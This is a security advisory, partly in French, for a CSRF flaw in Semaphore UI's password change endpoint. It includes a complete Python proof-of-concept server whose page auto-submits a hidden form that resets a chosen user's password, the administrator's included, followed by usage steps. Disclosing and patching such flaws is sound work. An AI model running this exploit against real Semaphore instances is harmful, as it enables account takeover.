Résumé
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
Détails de l’avis
Summary
The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.
Details
The password change endpoint of Semaphore UI does not implement any CSRF protection:
- No CSRF token required
- No current password confirmation required
- Authentication relies solely on a session cookie (
semaphore) with noSameSiteenforcement
A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/
PoC
To reproduce the exploit, you can use the following python script:
import logging
import argparse
import time
import sys
import os
from http.server import SimpleHTTPRequestHandler, HTTPServer
logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')
def forge_malicious_page(target, user_id, newpassword):
return f"""
<html>
<body>
<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">
<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
</body>
</html>
""";
parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri", help="Base uri to target", required=True)
parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port", help="Port to run server", default=1337)
args = parser.parse_args()
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
(self.client_address[0], self.command, self.path,
self.path.split('?')[1] if '?' in self.path else 'None'))
content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))
httpd.serve_forever()
Example :
python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337
1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targeted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.
Impact
This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.
Références
- https://github.com/advisories/GHSA-8cj9-r88m-8945
- https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945
- https://nvd.nist.gov/vuln/detail/CVE-2026-73292
- https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c
- https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956
- https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-73222
Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)
- MEDIUMCVE-2026-81890
elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections
- HIGHCVE-2026-19418
TYPO3 CMS - Broken Access Control in Backend and Install Tool
- MEDIUMCVE-2026-81888
@hono/oauth-providers: OAuth state check fails open on omitted state, enabling login CSRF and forced account linking
- HIGHCVE-2026-55532
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
- MEDIUMGHSA-p2ch-c2c3-4xm5
Winter: CSRF through AJAX handler names reachable as backend page actions